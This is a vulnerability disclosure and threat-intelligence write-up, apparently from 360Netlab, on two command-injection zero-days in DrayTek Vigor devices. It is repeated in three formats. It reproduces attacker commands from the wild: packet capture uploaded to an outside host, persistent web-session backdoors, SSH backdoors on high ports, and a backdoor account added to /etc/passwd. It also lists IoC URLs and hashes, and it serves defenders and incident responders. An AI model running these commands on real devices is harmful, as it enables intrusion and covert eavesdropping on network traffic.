Two zero days are Targeting DrayTek Broadband CPE Devices
<!--kg-card-begin: markdown--><p><em>Author: <a href="https://twitter.com/_O_owl">Yanlong Ma</a>, <a href="https://twitter.com/zom3y3">Genshen Ye</a>, <a href="https://twitter.com/_E_nn_">Hongda Liu</a></em></p>
<h3 id="background">Background</h3>
<p>From December 4, 2019, 360Netlab Threat Detection System has observed two different attack groups using two 0-day vulnerabilities of DrayTek[<a href="https://www.draytek.com/">1]</a> Vigor enterprise routers and switch devices to conduct a series of attacks, including eavesdropping on device’s network traffic, running SSH services on high ports, creating system backdoor accounts, and even creating a specific Malicious Web Session backdoor.</p>
<p>On December 25, 2019, due to the highly malicious nature of the attack, we disclosed on Twitter[<a href="https://twitter.com/360Netlab/status/1209763610525757443">2]</a>[<a href="https://twitter.com/360Netlab/status/1209763784572555264">3]</a> the ongoing 0-day attack IoC without mentioning the vendor name or product lines. We also provided more details to some national CERTs.</p>
<p>On February 10, 2020, the manufacturer DrayTek issued a security bulletin[<a href="https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)/">4]</a>, which fixed the vulnerability and released the latest firmware program 1.5.1.  (here we actually have an easter egg we might talk about later)</p>
<h3 id="vulnerabilityanalysis">Vulnerability analysis</h3>
<p>With the help of 360 Firmware Total system [<a href="https://ft.iotsec.360.cn/">5]</a>, we are able to perform vulnerability research . The two 0-day vulnerability command injection points are <code>keyPath</code> and <code>rtick</code>, located in the <code>/www/cgi-bin/mainfunction.cgi</code>, and the corresponding Web Server program is <code>/usr/sbin/lighttpd</code>.</p>
<h4 id="keypathcommandinjectionvulnerabilityanalysis">keyPath command injection vulnerability analysis</h4>
<p>Vulnerability type: unauthorized remote command execution vulnerability<br>
Vulnerability details: Two account password transmission methods are supported by the DrayTek devices, plain text and RSA encrypted transmission.</p>
<p>For RSA encrypted transmission, the interaction logic is:</p>
<ol>
<li>The web front end uses the RSA public key to encrypt the username and password, and uses a <code>keyPath</code> field to specify the file suffix of the RSA private key to initiate a login request;</li>
<li>When the <code>formLogin()</code> function in the <code>/www/cgi-bin/mainfunction.cgi</code> detects that the <code>keyPath</code> field is not empty, the decryption starts;</li>
<li><code>formLogin()</code> uses the <code>keyPath</code> as input to craft the following path <code>/tmp/rsa/private_key_&lt;keyPath&gt;</code> as the RSA private key;</li>
<li><code>formLogin()</code> performs Base64 decode on the username and password fields, writes them to the <code>/tmp/rsa/binary_loginfile</code>, and executes the following command to decrypt the username and password<pre><code class="language-sh">openssl rsautl -inkey '/tmp/rsa/private_key_&lt;keyPath&gt;' -decrypt -in /tmp/rsa/binary_login
</code></pre>
</li>
<li>Finally, the <code>formLogin()</code> function takes the decrypted user name and password to continue the verification.</li>
</ol>
<p>The issue here is that <code>keyPath</code> does not have very strong input control, which makes unauthorized remote command execution possible.</p>
<p>Bug fix: In version 1.5.1,  <code>keyPath</code> sets the field length a limit of 30, and the content must be hexadecimal characters.<br>
<a href="__GHOST_URL__/content/images/2020/03/WechatIMG348.png"><img src="__GHOST_URL__/content/images/2020/03/WechatIMG348.png" class="kg-image"/></a></p>
<h4 id="rtickcommandinjectionvulnerabilityanalysis">rtick command injection vulnerability analysis</h4>
<p>Vulnerability Type: unauthorized remote command execution vulnerability<br>
Vulnerability details: When <code>/www/cgi-bin/mainfunction.cgi</code> needs to access verification code, it calls the function <code>formCaptcha()</code>, the function does not check the incoming timestamp from rtick, and calls /usr/sbin/captcha directly to generate <code>&lt;rtick&gt;.gif</code> the CAPTCHA image, which makes command injection possible.</p>
<p>Bug fix: In version 1.5.1, the vendor limits the rtick field to use only [0-9].<br>
<a href="__GHOST_URL__/content/images/2020/03/1585282366543.png"><img src="__GHOST_URL__/content/images/2020/03/1585282366543.png" class="kg-image"/></a></p>
<h3 id="analysisofwild0dayattacks">Analysis of wild 0-day attacks</h3>
<h4 id="attackgroupa">Attack Group A</h4>
<ol>
<li>Attacker A uses the <code>keyPath</code> command injection vulnerability to download and execute the <code>http://103.82.143.51:58172/vig/tcpst1</code> script, and then further downloads and executes the following script.</li>
</ol>
<pre><code>http://103.82.143.51:58172/vi1
http://103.82.143.51:58172/vig/mailsend.sh1
</code></pre>
<ol start="2">
<li>The script <code>/etc/mailsend.sh</code>is used to eavesdrop on all network interfaces on the DrayTek Vigor network device to listen on the ports 21, 25, 143, and 110. The tcpdump command <code>/usr/sbin/tcpdump -i any -n -nn port 21 or port 25 or port 143 or port 110 -s 65535 -w /data/firewall.pcap &amp; </code>runs in the background, and a crontab is in place to upload the captured packets to <code>https://103.82.143.51:58443/uploLSkciajUS.php</code> every Monday, Wednesday, Friday at 0:00.</li>
</ol>
<h4 id="attackgroupb">Attack group B</h4>
<ol>
<li>Attacker B uses the rtick command injection vulnerability to create  2 sets of Web Session backdoors that never expires in the file <code>/var/session.json</code></li>
</ol>
<pre><code>json -f /var/session.json set 7:CBZD1SOMBUHVAF34TPDGURT9RTMLRUDK username=sadmin level=7 lasttime=0 updatetime=0 | sed -i s/&quot;&quot;\&quot;&quot;0\&quot;&quot;&quot;&quot;/&quot;&quot;0&quot;&quot;/g /var/session.json | sed -i s/&quot;&quot;\&quot;&quot;7\&quot;&quot;&quot;&quot;/&quot;&quot;7&quot;&quot;/g /var/session.json
json -f /var/session.json set 7:R8GFPS6E705MEXZWVQ0IB1SM7JTRVE57 username=sadmin level=7 lasttime=0 updatetime=0 | sed -i s/&quot;&quot;\&quot;&quot;0\&quot;&quot;&quot;&quot;/&quot;&quot;0&quot;&quot;/g /var/session.json | sed -i s/&quot;&quot;\&quot;&quot;7\&quot;&quot;&quot;&quot;/&quot;&quot;7&quot;&quot;/g /var/session.json
</code></pre>
<ol start="2">
<li>Attacker B further creates SSH backdoors on TCP / 22335 and TCP / 32459;</li>
</ol>
<pre><code>/usr/sbin/dropbear -r /etc/config/dropbear_rsa_host_key -p 22335 | iptables -I PPTP_CTRL 1 -p tcp --dport 22335 -j ACCEPT
/usr/sbin/dropbear -r /etc/config/dropbear_rsa_host_key -p 32459 | iptables -I PPTP_CTRL 1 -p tcp --dport 32459 -j ACCEPT
</code></pre>
<ol start="3">
<li>A system backdoor account <code>wuwuhanhan:caonimuqin</code> is added as well.</li>
</ol>
<pre><code>sed -i /wuwuhanhan:/d /etc/passwd ; echo 'wuwuhanhan:$1$3u34GCgO$9Pklx3.3OVwbIBja/CzZN/:500:500:admin:/tmp:/usr/bin/clish' &gt;&gt; /etc/passwd ; cat /etc/passwd;
sed -i /wuwuhanhan:/d /etc/passwd ; echo 'wuwuhanhan:$1$sbIljOP5$vacGOLqYAXcw3LWek9aJQ.:500:500:admin:/tmp:/usr/bin/clish' &gt;&gt; /etc/passwd ; cat /etc/passwd;
</code></pre>
<h3 id="websessionbackdoor">Web Session backdoor</h3>
<p>When we study the 0-day PoC, we noticed that when the session parameter <code>updatetime</code> is set to 0, DrayTek Vigor network device never logs out unless the device is rebooted.<br>
(aka Auto-Logout: Disable)<br>
<a href="__GHOST_URL__/content/images/2020/03/WechatIMG280.png"><img src="__GHOST_URL__/content/images/2020/03/WechatIMG280.png" class="kg-image"/></a></p>
<h3 id="timeline">Timeline</h3>
<pre><code>2019/12/04 We discovered ongoing attacks using the DrayTek Vigor 0-day keyPath vulnerability
2019/12/08 We reached out to a channel to report the vulnerability (but only later on found it did not work out)
2019/12/25 We disclosed on twitter the IoC and provided more details to some national CERTs.
2020/01/28 We discovered ongoing attacks using the DrayTek Vigor 0-day rtick vulnerability
2020/02/01 MITRE published the CVE-2020-8515
2020/02/10 DrayTek released a security bulletin and the latest firmware fix.
</code></pre>
<h3 id="affectedfirmwarelist">Affected firmware list</h3>
<pre><code>Vigor2960           &lt;  v1.5.1
Vigor300B           &lt;  v1.5.1
Vigor3900           &lt;  v1.5.1
VigorSwitch20P2121  &lt;= v2.3.2
VigorSwitch20G1280  &lt;= v2.3.2
VigorSwitch20P1280  &lt;= v2.3.2
VigorSwitch20G2280  &lt;= v2.3.2
VigorSwitch20P2280  &lt;= v2.3.2
</code></pre>
<h3 id="suggestions">Suggestions</h3>
<p>We recommend that DrayTek Vigor users check and update their firmwares in a timely manner, and check whether there is a tcpdump process, SSH backdoor account, Web Session backdoor, etc on their systems.</p>
<p>We recommend the following IoCs to be monitored and blocked on the networks where it is applicable.</p>
<h3 id="contactus">Contact us</h3>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a>, or email to netlab at 360 dot cn.</p>
<h3 id="ioclist">IoC list</h3>
<p>MD5</p>
<pre><code>7c42b66ef314c466c1e3ff6b35f134a4
01946d5587c2774418b5a6c181199099
d556aa48fa77040a03ab120b4157c007
</code></pre>
<p>URL</p>
<pre><code>http://103.82.143.51:58172/vig/tcpst1
http://103.82.143.51:58172/vi1
http://103.82.143.51:58172/vig/mailsend.sh1
https://103.82.143.51:58443/LSOCAISJDANSB.php
https://103.82.143.51:58443/uploLSkciajUS.php
</code></pre>
<p>Scanner IP</p>
<pre><code>103.82.143.51       	Korea                   ASN136209           	Korea Fast Networks 
178.151.198.73      	Ukraine             	ASN13188            	Content Delivery Network Ltd
</code></pre>
<!--kg-card-end: markdown-->
Author: Yanlong Ma, Genshen Ye, Hongda Liu



Background


From December 4, 2019, 360Netlab Threat Detection System has observed two different attack groups using two 0-day vulnerabilities of DrayTek[1] Vigor enterprise routers and switch devices to conduct a series of attacks, including eavesdropping on device’s network traffic, running SSH services on high ports, creating system backdoor accounts, and even creating a specific Malicious Web Session backdoor.


On December 25, 2019, due to the highly malicious nature of the attack, we disclosed on Twitter[2][3] the ongoing 0-day attack IoC without mentioning the vendor name or product lines. We also provided more details to some national CERTs.


On February 10, 2020, the manufacturer DrayTek issued a security bulletin[4], which fixed the vulnerability and released the latest firmware program 1.5.1. (here we actually have an easter egg we might talk about later)



Vulnerability analysis


With the help of 360 Firmware Total system [5], we are able to perform vulnerability research . The two 0-day vulnerability command injection points are keyPath and rtick, located in the /www/cgi-bin/mainfunction.cgi, and the corresponding Web Server program is /usr/sbin/lighttpd.


keyPath command injection vulnerability analysis


Vulnerability type: unauthorized remote command execution vulnerability

Vulnerability details: Two account password transmission methods are supported by the DrayTek devices, plain text and RSA encrypted transmission.


For RSA encrypted transmission, the interaction logic is:


 1. The web front end uses the RSA public key to encrypt the username and password, and uses a keyPath field to specify the file suffix of the RSA private key to initiate a login request;
 2. When the formLogin() function in the /www/cgi-bin/mainfunction.cgi detects that the keyPath field is not empty, the decryption starts;
 3. formLogin() uses the keyPath as input to craft the following path /tmp/rsa/private_key_<keyPath> as the RSA private key;
 4. formLogin() performs Base64 decode on the username and password fields, writes them to the /tmp/rsa/binary_loginfile, and executes the following command to decrypt the username and password
    
    openssl rsautl -inkey '/tmp/rsa/private_key_<keyPath>' -decrypt -in /tmp/rsa/binary_login
    
    

 5. Finally, the formLogin() function takes the decrypted user name and password to continue the verification.


The issue here is that keyPath does not have very strong input control, which makes unauthorized remote command execution possible.


Bug fix: In version 1.5.1, keyPath sets the field length a limit of 30, and the content must be hexadecimal characters.




rtick command injection vulnerability analysis


Vulnerability Type: unauthorized remote command execution vulnerability

Vulnerability details: When /www/cgi-bin/mainfunction.cgi needs to access verification code, it calls the function formCaptcha(), the function does not check the incoming timestamp from rtick, and calls /usr/sbin/captcha directly to generate <rtick>.gif the CAPTCHA image, which makes command injection possible.


Bug fix: In version 1.5.1, the vendor limits the rtick field to use only [0-9].





Analysis of wild 0-day attacks


Attack Group A


 1. Attacker A uses the keyPath command injection vulnerability to download and execute the http://103.82.143.51:58172/vig/tcpst1 script, and then further downloads and executes the following script.


http://103.82.143.51:58172/vi1
http://103.82.143.51:58172/vig/mailsend.sh1



 2. The script /etc/mailsend.shis used to eavesdrop on all network interfaces on the DrayTek Vigor network device to listen on the ports 21, 25, 143, and 110. The tcpdump command /usr/sbin/tcpdump -i any -n -nn port 21 or port 25 or port 143 or port 110 -s 65535 -w /data/firewall.pcap & runs in the background, and a crontab is in place to upload the captured packets to https://103.82.143.51:58443/uploLSkciajUS.php every Monday, Wednesday, Friday at 0:00.


Attack group B


 1. Attacker B uses the rtick command injection vulnerability to create 2 sets of Web Session backdoors that never expires in the file /var/session.json


json -f /var/session.json set 7:CBZD1SOMBUHVAF34TPDGURT9RTMLRUDK username=sadmin level=7 lasttime=0 updatetime=0 | sed -i s/""\""0\""""/""0""/g /var/session.json | sed -i s/""\""7\""""/""7""/g /var/session.json
json -f /var/session.json set 7:R8GFPS6E705MEXZWVQ0IB1SM7JTRVE57 username=sadmin level=7 lasttime=0 updatetime=0 | sed -i s/""\""0\""""/""0""/g /var/session.json | sed -i s/""\""7\""""/""7""/g /var/session.json



 2. Attacker B further creates SSH backdoors on TCP / 22335 and TCP / 32459;


/usr/sbin/dropbear -r /etc/config/dropbear_rsa_host_key -p 22335 | iptables -I PPTP_CTRL 1 -p tcp --dport 22335 -j ACCEPT
/usr/sbin/dropbear -r /etc/config/dropbear_rsa_host_key -p 32459 | iptables -I PPTP_CTRL 1 -p tcp --dport 32459 -j ACCEPT



 3. A system backdoor account wuwuhanhan:caonimuqin is added as well.


sed -i /wuwuhanhan:/d /etc/passwd ; echo 'wuwuhanhan:$1$3u34GCgO$9Pklx3.3OVwbIBja/CzZN/:500:500:admin:/tmp:/usr/bin/clish' >> /etc/passwd ; cat /etc/passwd;
sed -i /wuwuhanhan:/d /etc/passwd ; echo 'wuwuhanhan:$1$sbIljOP5$vacGOLqYAXcw3LWek9aJQ.:500:500:admin:/tmp:/usr/bin/clish' >> /etc/passwd ; cat /etc/passwd;




Web Session backdoor


When we study the 0-day PoC, we noticed that when the session parameter updatetime is set to 0, DrayTek Vigor network device never logs out unless the device is rebooted.

(aka Auto-Logout: Disable)





Timeline


2019/12/04 We discovered ongoing attacks using the DrayTek Vigor 0-day keyPath vulnerability
2019/12/08 We reached out to a channel to report the vulnerability (but only later on found it did not work out)
2019/12/25 We disclosed on twitter the IoC and provided more details to some national CERTs.
2020/01/28 We discovered ongoing attacks using the DrayTek Vigor 0-day rtick vulnerability
2020/02/01 MITRE published the CVE-2020-8515
2020/02/10 DrayTek released a security bulletin and the latest firmware fix.




Affected firmware list


Vigor2960           <  v1.5.1
Vigor300B           <  v1.5.1
Vigor3900           <  v1.5.1
VigorSwitch20P2121  <= v2.3.2
VigorSwitch20G1280  <= v2.3.2
VigorSwitch20P1280  <= v2.3.2
VigorSwitch20G2280  <= v2.3.2
VigorSwitch20P2280  <= v2.3.2




Suggestions


We recommend that DrayTek Vigor users check and update their firmwares in a timely manner, and check whether there is a tcpdump process, SSH backdoor account, Web Session backdoor, etc on their systems.


We recommend the following IoCs to be monitored and blocked on the networks where it is applicable.



Contact us


Readers are always welcomed to reach us on twitter, or email to netlab at 360 dot cn.



IoC list


MD5


7c42b66ef314c466c1e3ff6b35f134a4
01946d5587c2774418b5a6c181199099
d556aa48fa77040a03ab120b4157c007



URL


http://103.82.143.51:58172/vig/tcpst1
http://103.82.143.51:58172/vi1
http://103.82.143.51:58172/vig/mailsend.sh1
https://103.82.143.51:58443/LSOCAISJDANSB.php
https://103.82.143.51:58443/uploLSkciajUS.php



Scanner IP


103.82.143.51       	Korea                   ASN136209           	Korea Fast Networks 
178.151.198.73      	Ukraine             	ASN13188            	Content Delivery Network Ltd


{"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"*Author: [Yanlong Ma](https://twitter.com/_O_owl), [Genshen Ye](https://twitter.com/zom3y3), [Hongda Liu](https://twitter.com/_E_nn_)*\n\n### Background\nFrom December 4, 2019, 360Netlab Threat Detection System has observed two different attack groups using two 0-day vulnerabilities of DrayTek[[1\\]](https://www.draytek.com/) Vigor enterprise routers and switch devices to conduct a series of attacks, including eavesdropping on device’s network traffic, running SSH services on high ports, creating system backdoor accounts, and even creating a specific Malicious Web Session backdoor.\n\nOn December 25, 2019, due to the highly malicious nature of the attack, we disclosed on Twitter[[2\\]](https://twitter.com/360Netlab/status/1209763610525757443)[[3\\]](https://twitter.com/360Netlab/status/1209763784572555264) the ongoing 0-day attack IoC without mentioning the vendor name or product lines. We also provided more details to some national CERTs.\n\nOn February 10, 2020, the manufacturer DrayTek issued a security bulletin[[4\\]](https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)/), which fixed the vulnerability and released the latest firmware program 1.5.1.  (here we actually have an easter egg we might talk about later)\n\n### Vulnerability analysis\nWith the help of 360 Firmware Total system [[5\\]](https://ft.iotsec.360.cn/), we are able to perform vulnerability research . The two 0-day vulnerability command injection points are `keyPath` and `rtick`, located in the `/www/cgi-bin/mainfunction.cgi`, and the corresponding Web Server program is `/usr/sbin/lighttpd`.\n\n#### keyPath command injection vulnerability analysis\nVulnerability type: unauthorized remote command execution vulnerability\nVulnerability details: Two account password transmission methods are supported by the DrayTek devices, plain text and RSA encrypted transmission.\n\nFor RSA encrypted transmission, the interaction logic is:\n1. The web front end uses the RSA public key to encrypt the username and password, and uses a `keyPath` field to specify the file suffix of the RSA private key to initiate a login request;\n2. When the `formLogin()` function in the `/www/cgi-bin/mainfunction.cgi` detects that the `keyPath` field is not empty, the decryption starts;\n3. `formLogin()` uses the `keyPath` as input to craft the following path `/tmp/rsa/private_key_<keyPath>` as the RSA private key;\n4. `formLogin()` performs Base64 decode on the username and password fields, writes them to the `/tmp/rsa/binary_loginfile`, and executes the following command to decrypt the username and password\n   ```sh\n   openssl rsautl -inkey '/tmp/rsa/private_key_<keyPath>' -decrypt -in /tmp/rsa/binary_login\n   ```\n5. Finally, the `formLogin()` function takes the decrypted user name and password to continue the verification.\n\nThe issue here is that `keyPath` does not have very strong input control, which makes unauthorized remote command execution possible.\n\nBug fix: In version 1.5.1,  `keyPath` sets the field length a limit of 30, and the content must be hexadecimal characters.\n<a href=\"__GHOST_URL__/content/images/2020/03/WechatIMG348.png\"><img src=\"__GHOST_URL__/content/images/2020/03/WechatIMG348.png\" class=\"kg-image\"/></a>\n\n#### rtick command injection vulnerability analysis\nVulnerability Type: unauthorized remote command execution vulnerability\nVulnerability details: When `/www/cgi-bin/mainfunction.cgi` needs to access verification code, it calls the function `formCaptcha()`, the function does not check the incoming timestamp from rtick, and calls /usr/sbin/captcha directly to generate `<rtick>.gif` the CAPTCHA image, which makes command injection possible.\n\nBug fix: In version 1.5.1, the vendor limits the rtick field to use only [0-9].\n<a href=\"__GHOST_URL__/content/images/2020/03/1585282366543.png\"><img src=\"__GHOST_URL__/content/images/2020/03/1585282366543.png\" class=\"kg-image\"/></a>\n\n### Analysis of wild 0-day attacks\n#### Attack Group A\n1. Attacker A uses the `keyPath` command injection vulnerability to download and execute the `http://103.82.143.51:58172/vig/tcpst1` script, and then further downloads and executes the following script.\n\n```\nhttp://103.82.143.51:58172/vi1\nhttp://103.82.143.51:58172/vig/mailsend.sh1\n```\n\n2. The script `/etc/mailsend.sh`is used to eavesdrop on all network interfaces on the DrayTek Vigor network device to listen on the ports 21, 25, 143, and 110. The tcpdump command `/usr/sbin/tcpdump -i any -n -nn port 21 or port 25 or port 143 or port 110 -s 65535 -w /data/firewall.pcap &\n`runs in the background, and a crontab is in place to upload the captured packets to `https://103.82.143.51:58443/uploLSkciajUS.php` every Monday, Wednesday, Friday at 0:00.\n\n\n#### Attack group B\n1. Attacker B uses the rtick command injection vulnerability to create  2 sets of Web Session backdoors that never expires in the file `/var/session.json`\n```\njson -f /var/session.json set 7:CBZD1SOMBUHVAF34TPDGURT9RTMLRUDK username=sadmin level=7 lasttime=0 updatetime=0 | sed -i s/\"\"\\\"\"0\\\"\"\"\"/\"\"0\"\"/g /var/session.json | sed -i s/\"\"\\\"\"7\\\"\"\"\"/\"\"7\"\"/g /var/session.json\njson -f /var/session.json set 7:R8GFPS6E705MEXZWVQ0IB1SM7JTRVE57 username=sadmin level=7 lasttime=0 updatetime=0 | sed -i s/\"\"\\\"\"0\\\"\"\"\"/\"\"0\"\"/g /var/session.json | sed -i s/\"\"\\\"\"7\\\"\"\"\"/\"\"7\"\"/g /var/session.json\n```\n2. Attacker B further creates SSH backdoors on TCP / 22335 and TCP / 32459;\n```\n/usr/sbin/dropbear -r /etc/config/dropbear_rsa_host_key -p 22335 | iptables -I PPTP_CTRL 1 -p tcp --dport 22335 -j ACCEPT\n/usr/sbin/dropbear -r /etc/config/dropbear_rsa_host_key -p 32459 | iptables -I PPTP_CTRL 1 -p tcp --dport 32459 -j ACCEPT\n```\n3. A system backdoor account `wuwuhanhan:caonimuqin` is added as well.\n```\nsed -i /wuwuhanhan:/d /etc/passwd ; echo 'wuwuhanhan:$1$3u34GCgO$9Pklx3.3OVwbIBja/CzZN/:500:500:admin:/tmp:/usr/bin/clish' >> /etc/passwd ; cat /etc/passwd;\nsed -i /wuwuhanhan:/d /etc/passwd ; echo 'wuwuhanhan:$1$sbIljOP5$vacGOLqYAXcw3LWek9aJQ.:500:500:admin:/tmp:/usr/bin/clish' >> /etc/passwd ; cat /etc/passwd;\n```\n\n### Web Session backdoor\nWhen we study the 0-day PoC, we noticed that when the session parameter `updatetime` is set to 0, DrayTek Vigor network device never logs out unless the device is rebooted. \n(aka Auto-Logout: Disable)\n<a href=\"__GHOST_URL__/content/images/2020/03/WechatIMG280.png\"><img src=\"__GHOST_URL__/content/images/2020/03/WechatIMG280.png\" class=\"kg-image\"/></a>\n\n### Timeline\n```\n2019/12/04 We discovered ongoing attacks using the DrayTek Vigor 0-day keyPath vulnerability\n2019/12/08 We reached out to a channel to report the vulnerability (but only later on found it did not work out)\n2019/12/25 We disclosed on twitter the IoC and provided more details to some national CERTs.\n2020/01/28 We discovered ongoing attacks using the DrayTek Vigor 0-day rtick vulnerability\n2020/02/01 MITRE published the CVE-2020-8515\n2020/02/10 DrayTek released a security bulletin and the latest firmware fix.\n```\n\n### Affected firmware list\n```\nVigor2960           <  v1.5.1\nVigor300B           <  v1.5.1\nVigor3900           <  v1.5.1\nVigorSwitch20P2121  <= v2.3.2\nVigorSwitch20G1280  <= v2.3.2\nVigorSwitch20P1280  <= v2.3.2\nVigorSwitch20G2280  <= v2.3.2\nVigorSwitch20P2280  <= v2.3.2\n```\n\n### Suggestions\nWe recommend that DrayTek Vigor users check and update their firmwares in a timely manner, and check whether there is a tcpdump process, SSH backdoor account, Web Session backdoor, etc on their systems.\n\nWe recommend the following IoCs to be monitored and blocked on the networks where it is applicable.\n\n\n### Contact us\nReaders are always welcomed to reach us on [**twitter**](https://twitter.com/360Netlab), or email to netlab at 360 dot cn.\n\n### IoC list\n\nMD5\n```\n7c42b66ef314c466c1e3ff6b35f134a4\n01946d5587c2774418b5a6c181199099\nd556aa48fa77040a03ab120b4157c007\n```\n\nURL\n```\nhttp://103.82.143.51:58172/vig/tcpst1\nhttp://103.82.143.51:58172/vi1\nhttp://103.82.143.51:58172/vig/mailsend.sh1\nhttps://103.82.143.51:58443/LSOCAISJDANSB.php\nhttps://103.82.143.51:58443/uploLSkciajUS.php\n```\n\nScanner IP\n```\n103.82.143.51       \tKorea                   ASN136209           \tKorea Fast Networks \n178.151.198.73      \tUkraine             \tASN13188            \tContent Delivery Network Ltd\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"}